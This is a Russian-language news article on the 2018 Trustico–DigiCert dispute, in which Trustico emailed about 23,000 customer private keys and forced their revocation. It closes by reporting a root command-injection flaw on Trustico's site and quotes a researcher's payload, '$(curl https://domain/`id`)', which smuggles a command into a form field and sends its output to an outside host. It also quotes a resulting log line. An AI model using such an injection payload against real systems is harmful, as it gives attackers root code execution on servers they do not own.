Неприятный и странный скандал развернулся в первых числах марта 2018 года между реселлером сертификатов Trustico и удостоверяющим центром DigiCert. В результате, 1 марта 2018 года, неожиданно были отозваны более 23 000 SSL-сертификатов Trustico, и сейчас многие эксперты говорят о том, что случившееся может иметь последствия для всей индустрии в целом.
Данная история берет начало еще в начале феврале 2018 года, когда представители Trustico обратились к DigiCert с просьбой отозвать около 50 000 ранее выданных SSL-сертификатов. Представители DigiCert отклонили этот запрос, так как правила поведения в подобных случаях неоднозначны: не совсем ясно, имеет ли право реселлер отзывать уже выданные пользователям SSL-сертификаты, или это может сделать лишь сам конечный пользователь. После получения отказа представители Trustico решили разорвать отношения с DigiCert, заключить договор с удостоверяющим центром Comodo, и обратиться за юридической помощью.
Тем не менее, обсуждение отзыва сертификатов продолжилось. В частности, представители удостоверяющего центра пояснили, что они могли бы удовлетворить просьбу Trustico в том случае, если бы речь шла о каком-либо инциденте с безопасностью или утечке приватных ключей. В ответ на это, 27 февраля 2018 года, глава Trustico Зейн Лукас (Zane Lucas) прислал DigiCert в обычном электронном письме более 23 000 приватных ключей от SSL-сертификатов пользователей.
Согласно правилам, скомпрометированные сертификаты должны быть аннулированы в течение 24 часов после инцидента, поэтому DigiCert немедленно инициировала процедуру отзыва сертификатов и стала уведомлять пострадавших клиентов по электронной почте. Разумеется, большинство пострадавших оказались клиентами Trustico. Также представители DigiCert оповестили об инциденте инженеров Mozilla, пообещав со временем опубликовать полученные приватные ключи и помочь разработчикам браузеров объявить их недоверенными.
Пока пользователи решали проблемы, связанные с неожиданным массовым отзывом сертификатов, многие эксперты в области информационной безопасности раскритиковали Trustico и обвинили компанию в нарушении всех писанных и неписанных правил, а именно в хранении копий приватных ключей. Даже операционный директор DigiCert Флавио Мартинс (Flavio Martins) публично высказал свое недоумение, относительно 23 000 приватных ключей, находящихся в распоряжении Trustico.
@rinsure we can't speculate on the reason, but we know that @trustico sent us a document with all of the keys, so revocation is required. Not sure why/how they have customer private keys...
— Flavio Martins (@flavmartins) February 28, 2018
When you signed up with them they integrated Client Side Requests into their website - which means they had the private key (which should never leave the client side). They also retained it and emailed to a 3rd party, a HUGE security hole. pic.twitter.com/iFg6MdcFbK
— Kevin Beaumont (@GossiTheDog) February 28, 2018
People seem to be burying the lead with the @MrTrustico mass certificate revocation. Trustico was storing private keys for it's customers (something it never should have had, let alone stored,). That's not how CA's are supposed to work. This is insane. 1/n
— Jake Williams (@MalwareJake) February 28, 2018
Когда в сети поднялась настоящая буря, компания Trustico официально ответила, что не уведомляла DigiCert о каких-либо инцидентах с безопасностью и не сообщала о компрометации ключей. Откуда в таком случае взялись 23 000 приватных ключей, представители компании не объясняли.
Вместо этого представители Trustico рассказали, что их оригинальная просьба об отзыве сертификатов была связана с деятельностью компании Symantec. Дело в том, что еще в 2017 году DigiCert приобрел бизнес Symantec, связанный с SSL-сертификатами. Это случилось после того как компания Symantec оказалась в центре скандала: в начале 2017 года специалисты Google обвинили Symantec в выдаче 30 000 нелегитимных сертификатов, и это был далеко не первый инцидент такого рода. Дошло до того, что Google потребовал от Symantec заменить все выданные ранее сертификаты до марта 2018 года, причем взамен выпустить новые, используя инфраструктуру подчиненного удостоверяющего центра. В итоге компания приняла решение вообще продать данный бизнес.
В Trustico сообщили, что компания окончательно утратила доверие к Symantec, бывшей инфраструктуре компании и ее методам организации работы. В силу того, что 50 000 сертификатов были выданы еще Symantec, представители Trustico опасались их компрометации и более года обсуждали возможный выход из сложившейся ситуации. В итоге было принято решение отозвать все эти сертификаты вообще. Также, в Trustico выразили недовольство тем фактом, что представители DigiCert действовали «через их голову», и реселлер пообещал всем клиентам бесплатную замену сертификатов.
На следующий день, 1 марта 2018 года, на официальном сайте Trustico было размещено еще одно официальное заявление, которое, наконец, пролило свет на происхождение злосчастных приватных ключей. Фактически, компания признала, что действительно держала на «холодном хранении» копии приватных ключей своих клиентов (на тот случай, если сертификаты нужно будет отозвать). Так как копия приватного ключа, имеющаяся в распоряжении любых третьих лиц, помимо самого владельца сайта, может использоваться для компрометации SSL-сертификата и ресурса, который тот защищает, можно без преувеличения сказать, что Trustico скомпрометировала эти ключи самостоятельно.
Каким образом закрытые ключи вообще оказались в руках брокера сертификатов? Компания Trustico автоматизировала процесс выдачи сертификатов с помощью CSR (Certificate Signing Request), что позволяло компании оставлять копии закрытых ключей себе. Архивную страницу генератора можно увидеть здесь.
Хуже того, Trustico вообще не уведомляла пользователей о том, что копии их ключей оседают где-то на серверах компании, а доступ к ним имеет даже CEO. К тому же, на одной странице с CSR можно было обнаружить не менее 5-6 JavaScript, принадлежащим сторонним компаниями, включая рекламные сервисы. Таким образом, о безопасности использования такого подхода говорить определенно не приходится.
Ситуация еще явно далека от своего завершения, и теперь компании Trustico могут грозить проблемы, в том числе юридического характера. Впрочем, пока Trustico испытывает проблемы иного рода. После того как реселлер привлек к себе внимание широкой общественности, компанией заинтересовались ИБ-специалисты. В результате минувшей ночью сайт брокера сертификатов ушел в оффлайн, после того как независимый исследователь публично раскрыл в Twitter данные о критической уязвимости на официальном сайте компании (trustico.com):
$(curl https://domain/`id`)
— Predrag Cujanović? (@cujanovic) March 1, 2018
35.190.140.214 - [01/Mar/2018:09:52:14 -0500] "GET /uid=0(root) HTTP/1.1" 404 209 "-" "curl/7.29.0"
😀
Инструмент, который позволял пользователям проверить установку сертификатов для своего сайта, содержал ошибку и работал с root-привилегиями. В результате в форму проверки можно было внедрить вредоносные команды и выполнить на серверах Trustico произвольный код с root-правами.
Самый скверный нюанс заключается в том, что исследователь утверждает, что о данной проблеме было известно и ранее, а он почерпнул информацию из открытых источников.